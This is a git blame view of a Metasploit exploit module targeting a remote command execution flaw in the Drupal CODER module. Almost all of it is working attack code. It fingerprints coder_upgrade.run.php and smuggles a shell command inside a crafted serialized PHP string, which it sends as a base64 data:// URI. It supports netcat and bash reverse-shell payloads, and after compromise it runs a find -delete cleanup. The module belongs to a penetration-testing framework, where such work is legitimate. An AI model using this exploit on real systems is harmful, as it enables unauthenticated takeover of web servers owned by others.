Files
metasploit-gs/modules/exploits/unix/webapp/drupal_coder_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

112 lines
3.6 KiB
Ruby
Raw Normal View History

2016-07-21 20:23:54 +03:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-07-21 20:23:54 +03:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal CODER Module Remote Command Execution',
'Description' => %q{
2016-08-15 00:58:07 -05:00
This module exploits a Remote Command Execution vulnerability in the
Drupal CODER Module. Unauthenticated users can execute arbitrary
commands under the context of the web server user.
2016-07-21 20:23:54 +03:00
2016-08-15 00:58:07 -05:00
The CODER module doesn't sufficiently validate user inputs in a script
file that has the PHP extension. A malicious unauthenticated user can
make requests directly to this file to execute arbitrary commands.
The module does not need to be enabled for this to be exploited.
2016-07-21 20:23:54 +03:00
2016-08-15 00:58:07 -05:00
This module was tested against CODER 2.5 with Drupal 7.5 installed on
Ubuntu Server.
2016-07-21 20:23:54 +03:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicky Bloor <nick@nickbloor.co.uk>', # discovery
2016-07-21 20:23:54 +03:00
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765575']
],
'Privileged' => false,
'Payload' =>
{
2016-08-12 22:32:49 +03:00
'Space' => 250,
2016-07-22 20:48:15 +03:00
'DisableNops' => true,
2016-08-12 22:32:49 +03:00
'BadChars' => "\x2f",
2016-07-22 20:48:15 +03:00
'Compat' =>
2016-07-21 20:23:54 +03:00
{
'PayloadType' => 'cmd cmd_bash',
2016-08-16 23:08:09 -05:00
'RequiredCmd' => 'generic netcat netcat-e bash-tcp'
2016-07-21 20:23:54 +03:00
},
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2016-07-13',
2016-07-21 20:23:54 +03:00
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
2016-07-21 20:23:54 +03:00
]
)
self.needs_cleanup = true
2016-07-21 20:23:54 +03:00
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
)
2016-08-15 00:58:07 -05:00
if res && res.body.include?('file parameter is not setNo path to parameter file')
2016-07-22 20:48:15 +03:00
Exploit::CheckCode::Appears
2016-07-21 20:23:54 +03:00
else
Exploit::CheckCode::Safe
end
end
def exploit
2016-07-21 20:23:54 +03:00
p = ''
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
p << 's:9:"variables";s:14:"variables_test";'
p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
p << 's:7:"new_dir";s:'
p << (payload.encoded.length + 5).to_s
2016-08-12 22:32:49 +03:00
p << ':"-v;'
2016-07-21 20:23:54 +03:00
p << payload.encoded
p << ' #";s:4:"name";s:4:"test";}}}'
2016-08-15 00:58:07 -05:00
2016-08-16 23:08:53 -05:00
pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
2016-08-15 00:58:07 -05:00
2016-07-21 20:23:54 +03:00
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
'encode_params' => false,
'vars_get' => {
2016-08-16 23:08:53 -05:00
'file' => pl
2016-07-21 20:23:54 +03:00
}
)
end
2016-08-16 23:09:14 -05:00
# XXX: FileDropper can't handle weird filenames
def on_new_session(session)
# This find command should be decently portable...
command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete'
print_status("Cleaning up: #{command}")
session.shell_command_token(command)
end
2016-07-21 20:23:54 +03:00
end